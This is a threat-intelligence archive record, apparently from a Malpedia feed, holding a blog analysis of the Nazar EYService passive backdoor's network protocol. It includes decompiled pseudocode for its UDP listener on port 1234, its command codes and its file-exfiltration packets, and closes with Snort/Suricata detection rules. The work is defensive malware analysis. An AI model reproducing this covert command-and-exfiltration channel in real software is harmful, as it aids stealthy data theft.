{
	"id": "653e9ca9-ed2d-43d8-9865-401a2965a355",
	"created_at": "2026-04-06T01:30:40.643471Z",
	"updated_at": "2026-04-10T03:26:19.759386Z",
	"deleted_at": null,
	"sha1_hash": "c25abfe96ca4a52eba67ab1ace24ba85aef324da",
	"title": "Quick look at Nazar's backdoor - Network Communication",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 75338,
	"plain_text": "Quick look at Nazar's backdoor - Network Communication\r\nPublished: 2020-04-27 · Archived: 2026-04-06 00:43:29 UTC\r\nIntro\r\nIn previous episode we described capabilities of Nazar’s EYService, an passive backdoor that utilize PSSDK to\r\nsniff on network traffic. In this post we’ll take a look at how this malware communicates with outside world.\r\nBinary Diffing\r\nMalware is statically linked with PSSDK which makes analysis not very pleasant, and the fact that this software is\r\nlong dead and has no documentation doesn’t help either! However it was quite popular back in the day and its not\r\nthat hard to find examples of usage, the most notable one being metasploit. Looking at their source code can give\r\nus some ideas how PSSDK API should be used.\r\nBut that is not enough, while we can guess some APIs a lot of them remains mystery - here with help comes\r\nbinary diffing and Diaphora1. We only need to find a good binary to diff against.\r\nFortunately authors of PSSDK used a lot of uniqe names for their classes such as CHNSyncList or\r\nCHNMemoryStream or even CBpfAsmLexer - armed with those names finding a PSSDK dll is a matter of throwing\r\nthem in your favorite search engine2. Once we had a binary our next problem turns out to be Diaphora and IDA\r\nPro, Diaphora was ported to use newest version of IDA’s API but it was also ported to Python3 and we prefer to\r\nstick to Python2 as long as it is possible! If you are like us you can find our changes here. Ok problems solved lets\r\ndo some diffing!\r\nC2 Protocol\r\nAfter recovering API names from PSSDK we are presented with rather simple main function\r\nDWORD __stdcall main_thread_func(LPVOID lpThreadParameter)\r\n{\r\n struc_1 *v1; // edi\r\n int v2; // esi\r\n const void **v4; // edi\r\n v1 = MgrCreate();\r\n MgrInitialize((int)v1);\r\n v2 = MgrGetFirstAdapterCfg(v1);\r\n do\r\n {\r\n if ( !AdpCfgGetAdapterType(v2) )\r\n break;\r\n v2 = MgrGetNextAdapterCfg(v1, v2);\r\n }\r\nhttps://blog.malwarelab.pl/posts/nazar_eyservice_comm/\r\nPage 1 of 5\n\nwhile ( v2 );\r\n g_Adp = AdpCreate();\r\n AdpSetConfig((int)g_Adp, v2);\r\n if ( !AdpOpenAdapter(g_Adp) )\r\n {\r\n AdpGetConnectStatus((int)g_Adp);\r\n Size = AdpCfgGetMaxPacketSize(v2);\r\n g_My_IP = (char *)AdpCfgGetIpA(v2, 0);\r\n AdpCfgGetMACAddress(v2, \u0026g_My_MAC, 6);\r\n v4 = (const void **)BpfCreate();\r\n BpfAddCmd((int)v4, 0x30, 0x17); // BPF_LD+BPF_B+BPF_ABS, [offset of packet.ip.proto]\r\n BpfAddJmp((int)v4, 0x15, 0x11, 0, 1); // BPF_JMP+BPF_JEQ+BPF_K, IP_PROTO_UDP\r\n BpfAddCmd((int)v4, 6, -1); // BPF_RET+BPF_K\r\n BpfAddCmd((int)v4, 6, 0); // BPF_RET+BPF_K\r\n AdpSetUserFilter((int)g_Adp, v4);\r\n AdpSetUserFilterActive((int)g_Adp, (void *)1);\r\n AdpSetOnPacketRecv((int)g_Adp, (int)recive_packet, 0);\r\n AdpSetMacFilter((int)g_Adp, 2); // mfOwnerRecv\r\n while ( 1 )\r\n {\r\n if ( g_SendPong == 1 )\r\n {\r\n g_My_IP = (char *)AdpCfgGetIpA(v2, 0);\r\n C2::response(2);\r\n g_SendPong = 0;\r\n }\r\n Sleep(0x3E8u);\r\n }\r\n }\r\n return 0;\r\n}\r\nWhats happening here, is basically boilerplate to set up BPF filter and a callback function that will handle\r\nincomming packets. BPF filtere here checks if 23th byte of a packet equals 17, 23th byte should be (in normal\r\ninternet traffic) Protocol field of IPv4 header, 17 is a value denoting UDP in that field 3. BPF filter checks if\r\nincoming packet is using UDP protocol 4.\r\nRequests from C2\r\nFunction recive_packet is responsible for stripping down headers of next protocols and finally call a function\r\nthat we described in previous post. Two important things are happening during this parsing Identification field\r\nis extracted from IPv4 header and Destination Port from UDP header. First one is save for later use, it will be\r\nimportant during crafting response to c2, second is checked against 1234. If value of this field is different nothing\r\nwill happen. That tells us that this backdoor is passively listing on port 1234.\r\nhttps://blog.malwarelab.pl/posts/nazar_eyservice_comm/\r\nPage 2 of 5\n\nint __cdecl handle_udp(udp_hdr *a1, int a2, int src_ip, int ip_id)\r\n{\r\n int size; // edi\r\n size = HIBYTE(a1-\u003elen) - 8;\r\n ntohs(a1-\u003esrc_port);\r\n if ( ntohs(a1-\u003edst_port) != 1234 )\r\n return 0;\r\n handle_commands((c2_packet *)\u0026a1[1], src_ip, ip_id, size);\r\n return 1;\r\n}\r\nAfter all headers are striped the content of UPD packet is straightforward\r\nResponse to C2\r\nLets move to responses, backdoor supports 3 types of responses\r\nsend pong\r\nsend victim info\r\nsend file\r\nSince UDP packets need to be crafted from scratch the code is quite messy but after applying proper types\r\neverything looks nice and clear\r\n pPacket.ip_hdr._bf_0 = (pPacket.ip_hdr._bf_0 \u0026 0xF | 0x40) \u0026 0xF5 | 5;\r\n pPacket.ip_hdr.ip_tos = 0;\r\n v5 = htons(payload_size + 28);\r\n pPacket.ip_hdr.ip_id = 1;\r\n pPacket.ip_hdr.ip_len = v5;\r\n pPacket.ip_hdr.ip_off = 0;\r\n pPacket.ip_hdr.ip_ttl = -1;\r\n pPacket.ip_hdr.ip_proto = 17;\r\n pPacket.ip_hdr.ip_chksum = 0;\r\n pPacket.ip_hdr.ip_src.S_un.S_addr = inet_addr(g_My_IP);\r\n pPacket.ip_hdr.ip_dst = v2;\r\n pPacket.udp_hdr.src_port = htons(1234u);\r\n pPacket.udp_hdr.dst_port = htons(4000u);\r\n pPacket.udp_hdr.len = htons(payload_size + 8);\r\n pPacket.udp_hdr.checksum = 0;\r\nhttps://blog.malwarelab.pl/posts/nazar_eyservice_comm/\r\nPage 3 of 5\n\nWe can even see some oddities that would make an good base for snort/suricata rule\r\n- Ping\r\nC2 can request a live check issuing command 999, when malware sees a packet with this command it will replay\r\nto port 4000 with UDP packet containing simple string 101;0000;\r\n- OS info\r\nC2 can request informations on infected host issuing command 555 when malware sees a packet with this\r\ncommand it will replay to port 4000 with UDP packet that contains:\r\nComputer name\r\nVersion of operating system\r\npacket will have a fallowing format: 100;%COMPNAME%;%WINNAME%;\r\n5\r\n- Send file\r\nVarious commands can produce a files with logs and bot has to exfiltrate them, this is done in a same way as\r\nprevious commands however destination port is different. Instead of using hardcoded one, previously saved value\r\nfrom Identification field of incoming packet is used. In order to exfiltrate a file bot will create packets\r\ncontaining content of the file and one more packet with content ‘—%FILE_SIZE%’ where %FILE_SIZE%\r\ndenotes a size of file being send to c2.\r\nClosing words\r\nIn this post we showed how EYService communicates with c2. Digging into network protocol allows us to better\r\nunderstand its capabilities and fix previous wrong assumptions, gaining full view of this malware. Understanding\r\nhow malware is communicating is crucial for detection as patterns used in network communication tend to stay\r\nlonger unchanged contrary to code of malware itself. Finally passive backdoors are pretty rare and their analysis\r\nrequire knowledge of how internet protocols are build, so we are thankful for this opportunity to brush it up ;]\r\nSnort/Suricata Rules\r\nalert udp $HOME_NET 1234 -\u003e $EXTERNAL_NET 4000 (msg:\"Nazar EYService Pong response\");id:1; ttl:-1;content:\"101;\r\nalert udp $HOME_NET 1234 -\u003e $EXTERNAL_NET 4000 (msg:\"Nazar EYService OSInfo response\");id:1; ttl:-1;content:\"100\r\nalert udp $HOME_NET 1234 -\u003e $EXTERNAL_NET any (msg:\"Nazar EYService File exfiltrate response\");id:1; ttl:-1;cont\r\nPlease note that those rules are provided as is, and are created based on code rather than actual traffic, and where\r\nnot battle tested!\r\n1. BinDiff is also an option but it has some problems with our binary ↩︎\r\n2. example of PSSDK dll, c5ef3bd6a93edaca685e2ea796f0684b208b4700b8bdcf8dfbf78c47aa9562c9 ↩︎\r\nhttps://blog.malwarelab.pl/posts/nazar_eyservice_comm/\r\nPage 4 of 5\n\n3. https://en.wikipedia.org/wiki/List_of_IP_protocol_numbers ↩︎\r\n4. there is an assumption here that all traffic is using Ethernet and IPv4 protocols on lower levels of OSI\r\nmodel ↩︎\r\n5. Looking at the possible strings for os version shows us how old this malware can be as a versions goes\r\nfrom win95 to win xp ↩︎\r\nSource: https://blog.malwarelab.pl/posts/nazar_eyservice_comm/\r\nhttps://blog.malwarelab.pl/posts/nazar_eyservice_comm/\r\nPage 5 of 5",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://blog.malwarelab.pl/posts/nazar_eyservice_comm/"
	],
	"report_names": [
		"nazar_eyservice_comm"
	],
	"threat_actors": [
		{
			"id": "bf773c52-830b-46e3-aa61-58c82eb323ee",
			"created_at": "2023-01-06T13:46:39.135077Z",
			"updated_at": "2026-04-10T02:00:03.226187Z",
			"deleted_at": null,
			"main_name": "Nazar",
			"aliases": [
				"SIG37"
			],
			"source_name": "MISPGALAXY:Nazar",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "f3b19931-3751-4ece-a235-15b397951dc2",
			"created_at": "2022-10-25T16:07:23.889537Z",
			"updated_at": "2026-04-10T02:00:04.780137Z",
			"deleted_at": null,
			"main_name": "Nazar",
			"aliases": [
				"SIG37"
			],
			"source_name": "ETDA:Nazar",
			"tools": [
				"Distribute.exe",
				"EYService",
				"GpUpdates.exe",
				"Microolap Packet Sniffer",
				"TCPDUMP for Windows"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775439040,
	"ts_updated_at": 1775791579,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/c25abfe96ca4a52eba67ab1ace24ba85aef324da.pdf",
		"text": "https://archive.orkl.eu/c25abfe96ca4a52eba67ab1ace24ba85aef324da.txt",
		"img": "https://archive.orkl.eu/c25abfe96ca4a52eba67ab1ace24ba85aef324da.jpg"
	}
}